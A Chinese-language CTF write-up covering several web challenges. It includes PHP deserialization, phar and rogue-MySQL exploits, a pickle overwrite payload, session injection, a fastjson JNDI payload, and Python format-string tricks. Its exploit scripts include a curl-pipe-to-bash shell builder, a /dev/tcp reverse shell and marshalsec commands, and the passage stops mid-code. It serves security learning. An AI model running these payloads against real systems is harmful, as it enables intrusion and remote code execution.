各校大佬锤爆我Orz
easy_trick_gzmtu
查看源码 <!--?time=Y或者?time=2020-->
提示了date('Y')=2020
,而在date()
中,可以通过\
转义字符防止被解释
于是在每个字符前加一个\
,简单回显注即可
然后通过file://localhost/
进行SSRF读取本地文件
flag无法直接读,通过file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
获得一段源码
<?php
class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{
if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);
}
}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());
}
}
unserialize((base64_decode($_GET['code'])));
?>
在正则中界定符是/n
, 会把输入当成多行。而这个$
会匹配换行符, preg_match()
+strpos()
可以直接用%0a
绕过calc()
里面则是可以用!!'@'
来拼凑,直接取反也可
<?php
class trick{
public $gf;
public function __construct(){
$this->gf = ~'70766571';
$this->gf='~\''.$this->gf.'\'';
}
}
$trick = new trick();
echo urlencode(base64_encode(serialize($trick)));
// Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D
payload:?pass=aa.passwd%0A20200202&code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D
hardphp
webct
这题没拿下源码,看wp来写的
先是test_sql.php
<?php
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();
用于连接远程数据库
接着看到Db类
class Db
{
public $ip;
public $user;
public $password;
public $option;
function __construct($ip,$user,$password,$option)
{
$this->user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}
可以看到用了select 1;
来测试远程数据库是否开启,这里自然就想到用rogue mysql server
来读取服务器文件
<?php
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."
";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."
";
?>
再看到上传文件处,跟着进入到几个相关联的类
class File
{
public $uploadfile;
function __construct($filename)
{
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}
class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."";
}
}
else{
echo "不被允许的文件类型"."";
}
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}
这里看到Listfile
类中有__call()
,可以通过控制file
属性来执行任意命令
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}
而Fileupload
类中的__destruct()
将file
属性设为Listfile
类后即可触发
function __destruct()
{
$this->file->xs();
}
既然能上传文件,又有反序列化,那就可以用到phar了
不过这里需要有能够触发phar的位置,这里还是要看xzs师傅的骚操作
[
Phar与Stream Wrapper造成PHP RCE的深入挖掘](https://blog.zsxsoft.com/post/38)
通过MYSQL的LOAD DATA LOCAL INFILE
触发
<?php
class Fileupload
{
public $file;
}
class Listfile
{
public $file = '/;'; # 要执行的命令
}
$phar = new Phar("file.phar");
$phar->startBuffering();
$phar->setStub("");
$fileupload = new Fileupload();
$fileupload->file = new Listfile();
$phar->setMetadata($fileupload);
$phar->addFromString("1.txt", "test");
$phar->stopBuffering();
# /;
# /;/readflag;
生成文件后上传
Rogue-MySql-Server
修改读取的文件为phar://./uploads/hash/test.jpg
然后访问伪造数据库即可
webtmp
题目源码
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
这题主要参考这篇文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
先一这题为例子分析一下pickle反序列化
import pickle
import pickletools
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
if __name__ == '__main__':
animal = Animal("kotori", "umi")
s = pickle.dumps(animal)
print(s)
s = pickletools.optimize(s)
pickletools.dis(s)
输出
b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Animal'
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT
22: ( MARK
23: X BINUNICODE 'name'
32: X BINUNICODE 'kotori'
43: X BINUNICODE 'category'
56: X BINUNICODE 'umi'
64: u SETITEMS (MARK at 22)
65: b BUILD
66: . STOP
highest protocol among opcodes = 2
\x80
读到这个操作符后,机器继续往下读取一个字符也就是\x03
\x03
是使用的序列化协议版本,pickle一共有0、2、3、4号版本协议,默认为3号,\x03
就是使用3号协议。同时协议是向前兼容的,0号协议无论几号协议都是能够解析的c
是GLOBAL
操作符,用于引入模块。机器读到后会继续读取两个连续的字符串module
和name
,以\n
分隔,然后放入栈中。这里引入的是__main__.Animal
q\x00
没查到是什么,看起来是来分隔命令的)
往栈里压入一个一个空元组\x81
将栈顶的空元组弹出作为args
,然后再将栈顶的class
弹出记为cls
,然后进行实例化再压入栈。也就是将__main__.Animal
实例化
此时实例化的Animal
里面是空的
继续分析
}
往栈压入一个空字典(
是MARK
操作符,将当前栈作为一个list压入前序栈,然后清空当前栈(这里的当前栈和前序栈文章里有说)X
读入一个二进制字符串,以q\x0x
结尾。执行了四个X
后,当前栈由底到顶就是name kotori category umi
u
将当前栈的数据pop到空数组arr
中,执行后arr=['name','kotori','category','umi']
。然后回到MARK
前的状态,也就是当前栈中存有Animal
和一个空字典。最后两个为一组键值对读取arr
存入空字典中,此时空字典dict={'name':'kotori','category':'umi'}
b
将栈顶元素存入state
,然后弹掉,也就是将dict
存入state
。然后再将栈顶元素存入inst
,弹掉,也就是将Animal
存入inst
。然后用state
更新对象inst
,也就是给实例化的空对象填入内容.
弹出反序列化后的对象,结束反序列化
这里在用state
更新对象inst
处有安全问题
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
看到pickle源码的load_build()
可以看到当inst
(实例化的类)中有__setstate__
属性时,这会执行setstate()
,并以state
的值的参数。也就是说,如果能控制__setstate__
属性的属性值为系统函数,并且state
为可控的,就能够执行任意命令
文章中给出这么一个操作,设置state={'__setstate__':'os.system'}
,然后BUILD
后实例化中的类就有了__setstate__
属性。然后将ls /
压入栈,再进行一次BUILD
。此时state='ls /'
,而inst
中也有__setstate__
属性,值为os.system
。这样就会执行setstate(state)
,也就是os.system(’ls /’)
,读取了根目录
不过这个和下面解这题的内容没太大关系,只是我一开始没理解这里记录一下而已。不过这个方法解这题应该也是可行的
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
这题看/
部分,需要反序列化后的结果和用密钥对实例化的结果相同才给flag
文章中说到的__reduce_
执行任意函数需要指令码R
,而这题中过滤掉了
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
同时由于find_class()
被重写,只能够由__main__
引入,直接指向secret
中的值是不可能了
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
这里利用文章中的另一种方式,篡改module
虽然只能由__main__
引入,但import进来的secret
也是属于__main__
的。于是可以通过c
指令给secret
中的属性赋值
这里由于原题给出的源码不太好复现,就改了一下
# -*- coding:utf8 -*-
import pickle
import base64
import io
import sys
import secret
print(secret.name)
print(secret.category)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
if __name__ == '__main__':
pickle_data = ""
if b'R' in base64.b64decode(pickle_data):
print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
exit()
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
print(type(result))
print('Are you sure that is an animal???')
exit()
correct = (result == Animal(secret.name, secret.category))
print(correct)
先序列化一个正常的Animal
import pickle
import pickletools
import secret
class Animal:
def __init__(self):
self.name = 'kotori'
self.category = 'umi'
if __name__ == '__main__':
animal = Animal()
print(pickle.dumps(animal))
\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.
secret
和Animal
差不多,改个名,把)
和\x81
去掉即可
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub.
接着BUILD
指令后接上POP
指令,将sercet
弹出,防止反序列化结束时有多个实例导致出错
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0.
然后接上去掉\x80\x03
的Animal
\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.
这里发现好像q\x0x
并不要求每次增1
import pickle
import pickletools
import secret
class Animal:
def __init__(self):
self.name = 'kotori'
self.category = 'umi'
if __name__ == '__main__':
s = b"\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub."
s = pickletools.optimize(s)
pickletools.dis(s)
res = pickle.loads(s)
print(res.name)
测试一下
0: \x80 PROTO 3
2: c GLOBAL '__main__ secret'
19: } EMPTY_DICT
20: ( MARK
21: X BINUNICODE 'name'
30: X BINUNICODE 'kotori'
41: X BINUNICODE 'category'
54: X BINUNICODE 'umi'
62: u SETITEMS (MARK at 20)
63: b BUILD
64: 0 POP
65: c GLOBAL '__main__ Animal'
82: ) EMPTY_TUPLE
83: \x81 NEWOBJ
84: } EMPTY_DICT
85: ( MARK
86: X BINUNICODE 'name'
95: X BINUNICODE 'kotori'
106: X BINUNICODE 'category'
119: X BINUNICODE 'umi'
127: u SETITEMS (MARK at 85)
128: b BUILD
129: . STOP
highest protocol among opcodes = 2
kotori
没问题
于是base64加密放入
if __name__ == '__main__':
pickle_data = "gANjX19tYWluX18Kc2VjcmV0CnEAfXEBKFgEAAAAbmFtZXECWAYAAABrb3RvcmlxA1gIAAAAY2F0ZWdvcnlxBFgDAAAAdW1pcQV1YjBjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gGAAAAa290b3JpcQRYCAAAAGNhdGVnb3J5cQVYAwAAAHVtaXEGdWIu"
if b'R' in base64.b64decode(pickle_data):
print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
exit()
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
print(type(result))
print('Are you sure that is an animal???')
exit()
correct = (result == Animal(secret.name, secret.category))
print(correct)
结果成功覆盖
hackme
www.zip
获得源码
init.php
中设置了session的序列化类型
<?php
//初始化整个页面
error_reporting(0);
//lib.php包括一些常见的函数
include 'lib.php';
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();
猜测是session反序列化漏洞
而在profile.php
中找到了不同的序列方式
<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();
class info
{
public $admin;
public $sign;
public function __construct()
{
$this->admin = $_SESSION['admin'];
$this->sign = $_SESSION['sign'];
}
public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}
$a = new info();
?>
同时可以看到,当admin为1是,跳转/core/index.php
中
/core/index.php
中
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}
会对session进行检查
<?php
//初始化整个页面
#error_reporting(0);
//lib.php包括一些常见的函数
include '../lib.php';
session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();
同时也是使用php方式的序列化
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
check_session()
检查session中需要有一个值为数组,且数组中为admin的键的值为1
然后再去到upload_sign.php
<?php
require_once('init.php');
class upload_sign
{
public $sign;
public $admin = 0;
public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}
public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}
public function checksign($sign)
{
return true;
}
}
$a = new upload_sign();
$a->upload();
这里将POST得到的sign放入session中,可以利用这里注入session
于是构造一个符合条件的sign值|a:1:{s:5:"admin";i:1;}sign|s:4:"xxxx";}
这里将第一个键值设为数组,且里面只有一个admin的键值对,这样就可以通过check_session()
设置完访问一次/profile.php
再去访问/core/index.php
,获得源码
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
Hitcon的题,不过需要想办法绕过前面的
一开始还想通过访问profile.php
,设置sign值来执行命令,但发现并不能携带cookie。gopher协议也是因为file_get_contents()
无法urldecode
无法携带cookie。卡了很久后大佬提供了一个绕过方式compress.zlib://data:@127.0.0.1/plain;base64,
我的SSRF太菜了Orz,这里记一下
协议被过滤可以尝试使用compress.bzip2://
或compress.zlib://
搭载在其它协议的前面进行绕过
于是上脚本getshell得到flag
# -*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
import base64
target = 'http://121.36.222.22:88/'
cookies = {'PHPSESSID': '34249cec09642c9143355bcce08270bc'}
page = "core/index.php"
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl xxx.xx.xxx.x:xxxx|bash"
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>xx\\',
'>xx\\',
'>x:\\',
'>x.\\',
'>xx\\',
'>x.\\',
'>x\\',
'>x.\\',
'>xx\\',
'>\ \\',
'>rl\\',
'>cu\\',
# got shell
'sh x',
'sh g',
]
for i in payload:
i = i.encode()
cmd = base64.b64encode(i)
cmd = cmd.decode()
data = {
"url": "compress.zlib://data:@127.0.0.1/plain;base64,{}".format(cmd)
}
print(data)
s = r.post(target + page, cookies=cookies, data=data)
print(s.text)
print(s.text)
baby_java
Java题莫得环境只能列点了
首先是一个XXE,能打拿到使用的依赖
Method%uFF1A post
Path %uFF1A /you_never_know_the_path
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.4.RELEASE</version>
<relativePath/><!-- lookup parent from repository -->
</parent>
<groupId>com.tr1ple</groupId>
<artifactId>sus</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>baby_java</name>
<description>Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>saxpath</groupId>
<artifactId>saxpath</artifactId>
<version>1.0-FCS</version>
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.6</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.3</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
这里利用fastjson(<=1.2.61)的JNDI注入漏洞
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}
这样进行利用即可,这里由于过滤了type,用\x74ype
代替。prefix的过滤则是利用fastjson中parseField函数会去掉字符串中的-
和开头的_
,于是添加一个-
或者_
即可绕过
由于有commons collections3.1
,直接远程开个JRMP弹shell即可
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
为了本地复现这个漏洞前前后后整spring框架这些整了快一个星期,最后还是因为高版本 Java中会被trustURLCodebase
拦截,最终复现失败Orz
不过java小白这里还是记一下JRMP的弹shell方式
将编译好的恶意class放到tomcat的/webapps/ROOT/WEB-INF/classes/
目录下,classes目录要自己创建
public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("calc");
// java.lang.Runtime.getRuntime().exec(
// new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4545 0>&1"});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后web.xml
中配置class的访问路径(这里的.class
可能是不需要的)
<servlet>
<servlet-name>Exploit</servlet-name>
<servlet-class>Exploit</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Exploit</servlet-name>
<url-pattern>/Exploit.class</url-pattern>
</servlet-mapping>
然后下载marshalsec
使用maven安装mvn clean package -DskipTests
装完后就可以启用rmi或者ladp服务,然后让目标机访问即可
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1389
fmkq
进入是源码
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}
过滤了各种协议,head
的值需要连接curl_init
后不影响函数执行,同时output
的输出值只会为int型需要绕过
通过fuzz发现\
不会影响,好像是命名空间的原因,所有内置函数都于根目录下sprintf()
可以通过extract()
对begin
进行变量覆盖为%s%
,使后面的%d
无效,output
以string型输出
搞定这两个后一直在找怎么绕过,但好像并没用什么绕过的好方法。没想到这题又是要扫内网
扫端口可以发现8080端口能够使用
当为vip时可以读取任意文件,非vip则只能读取/tmp/
目录下的文件。这里{file}
提示的是python的格式化字符串漏洞了
class a:
a = "a"
b = "b"
a = a()
b = "hello {c.a} and {c.b}".format(c=a)
print b
一个简单的小栗子
输出为:hello a and b
这里由于通过format()
对c注入了对象a,于是{}
中的c.a
和c.b
就是对象a中的属性a和b
这题中后端注入的是file,但不知道里面有什么,于是用{file.__dict__}
遍历对象{'vipcode':'0','file':,'vip':}
然后再{file.vip.__dict__}
遍历一下vip{'truevipcode':'JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy'}
获得真vip的vipcode值
?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
扫根目录,得知flag在fl4g_1s_h3re_u_wi11_rua
目录下但无法读取
于是拿一下源码,读到readfile.py
current_folder_file = []
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
可以看到这里filepath
又用了一次格式字符串,注入的self.file
为文件名,而过滤的是路径中的fl4g
要读取的路径是/fl4g_1s_h3re_u_wi11_rua/flag
,self.file
的值就为flag,于是取self.file[0]
得到f接在路径上,这样就能绕过fl4g的检查
于是payload:?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
我觉得应该是这样,但看大佬的payload是{vipfile.file[0]}
,但vipfile
不是本身就是文件名了吗?
还有一种方式是取读到全局变量current_folder_file
/{vipfile.__class__.__init__.__globals__[current_folder_file] [21]}/flag
由于路径错误出错,current_folder_file
值依旧是扫根目录的文件名集。fl4g_1s_h3re_u_wi11_rua
为第22个文件,于是就能读到/fl4g_1s_h3re_u_wi11_rua/flag
dooog
这题是模拟了一个kerberos认证,了解kerberos认证做起来会快一些
kerberos认证原理---讲的非常细致,易懂
这题的问题出在这里
if int(time.time()) - data['timestamp'] < 60:
if cmd not in ['whoami', 'ls']:
return 'cmd error'
这里限制timestamp
未超时时,cmd只能为whoamin
和ls
。但却没有对超时进行判断,那只需要在超时后再发出请求即可执行命令
于是看整一个kerberos认证流程
def register():
if request.method == 'POST':
username = request.form.get('username')
master_key = request.form.get('master_key')
new_user = User(username=username, master_key=master_key)
db.session.add(new_user)
db.session.commit()
return str(new_user.id)
现先向KDC发送username
和master_key
,KDC端会保存username
和master_key
def TGT_vender():
username = request.form.get('username')
authenticator = request.form.get('authenticator')
user = User.query.filter_by(username=username).first()
if user != None:
cryptor = AESCipher(user.master_key)
try:
data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
if data['username'] == username:
if int(time.time()) - data['timestamp'] < 60:
session_key = genSession_key()
session_key_enc = base64.b64encode(cryptor.encrypt(session_key))
